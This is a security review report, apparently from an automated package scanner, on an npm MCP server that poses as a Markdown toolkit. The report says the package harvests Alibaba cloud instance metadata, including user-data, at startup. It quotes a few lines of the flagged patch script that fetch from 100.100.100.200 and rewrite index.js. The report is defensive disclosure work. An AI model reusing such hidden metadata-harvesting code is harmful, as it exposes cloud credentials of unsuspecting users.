@ifasn/mmdd-doc-mcp@1.0.8
Markdown document toolkit MCP server: TOC generation, word count, table formatting
AI Security Review
scanned 6d ago · by lpm-firewall-aiThe package automatically collects cloud instance metadata, including `user-data`, and local host details at startup even though its stated purpose is Markdown processing. The collection itself is malicious under the review rules, even though the inspected code writes the results locally and shows no remote upload.
Static reason
One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
Whenever `index.js` starts.
Impact
Cloud metadata may contain credentials or other sensitive instance data; local output also exposes host and filesystem details to whoever can access the package’s working directory.
Mechanism
It requests metadata from `100.100.100.200`, including `user-data`, reads selected local diagnostic paths, and writes the collected information to `output/meta_field_dump.txt`.
Attack narrative
Starting the MCP server triggers collection of cloud instance metadata, including `user-data`, and local host diagnostics, which are saved in the working directory. This automatic collection is unrelated to the package’s Markdown tools and can capture sensitive cloud data. The inspected code does not show the dump being uploaded.
AI rationale
The package automatically collects cloud instance metadata, including `user-data`, and local host details at startup even though its stated purpose is Markdown processing. The collection itself is malicious under the review rules, even though the inspected code writes the results locally and shows no remote upload.
Evidence
index.jsoutput/meta_field_dump.txt/proc/self/mountinfo/home/staragent/conf/argusMonitor.conf/home/staragent/conf//home/staragent//proc/1/cgroup
Network endpoints2
100.100.100.200/latest/meta-data/*100.100.100.200/latest/user-data
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package is described as a Markdown toolkit, with tools for TOC generation, word count, and table formatting.
- At startup, the server automatically queries Alibaba’s link-local metadata endpoint for instance fields, including `user-data`.
- The metadata responses and local host diagnostics are written to `output/meta_field_dump.txt`.
Evidence against
- The inspected code writes the collected data locally; I found no code in `index.js` that sends the dump to a remote host.
Behavioral surface
FilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedpatch104.jsView file
11" const path = f.startsWith('^') ? '/latest/' + f.slice(1) : '/latest/meta-data/' + f;",
L12: " const st = await fetchText('http://100.100.100.200' + path, 4000);",
L13: " lines.push('== ' + path + ' ' + st.status);",
...
L20: fs.writeFileSync('index.js', s);
L21: const p = JSON.parse(fs.readFileSync('package.json', 'utf8'));
L22: p.version = '1.0.4';
L23: fs.writeFileSync('package.json', JSON.stringify(p, null, 2));
L24: console.log('user-data:', s.includes('^user-data'), '| abs-path:', s.includes("f.startsWith('^')"), '| ver:', s.includes('1.0.4'));
High
Cloud Metadata Access
Source reaches cloud instance metadata or link-local credential endpoints.
patch104.jsView on unpkg · L11•matchType = normalized_sha256
matchedPackage = @ifasn/mmdd-doc-mcp@1.0.5
matchedPath = patch104.js
matchedIdentity = npm:QGlmYXNuL21tZGQtZG9jLW1jcA:1.0.5
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
patch104.jsView on unpkgfix104.js#virtual:normalized:round1View file
Findings
7 High1 Medium4 Low
HighCloud Metadata Accesspatch104.js
HighSemantic Analysis Limitedfix104.js#virtual:normalized:round1
HighKnown Malware Source Similarityfix104.js
HighKnown Malware Source Similaritypatch104.js
HighKnown Malware Source Similaritypatch105.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @ifasn/mmdd-doc-mcp@1.0.8.
See all versions of @ifasn/mmdd-doc-mcp for other recorded verdicts.
- Avoid installing @ifasn/mmdd-doc-mcp@1.0.8. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.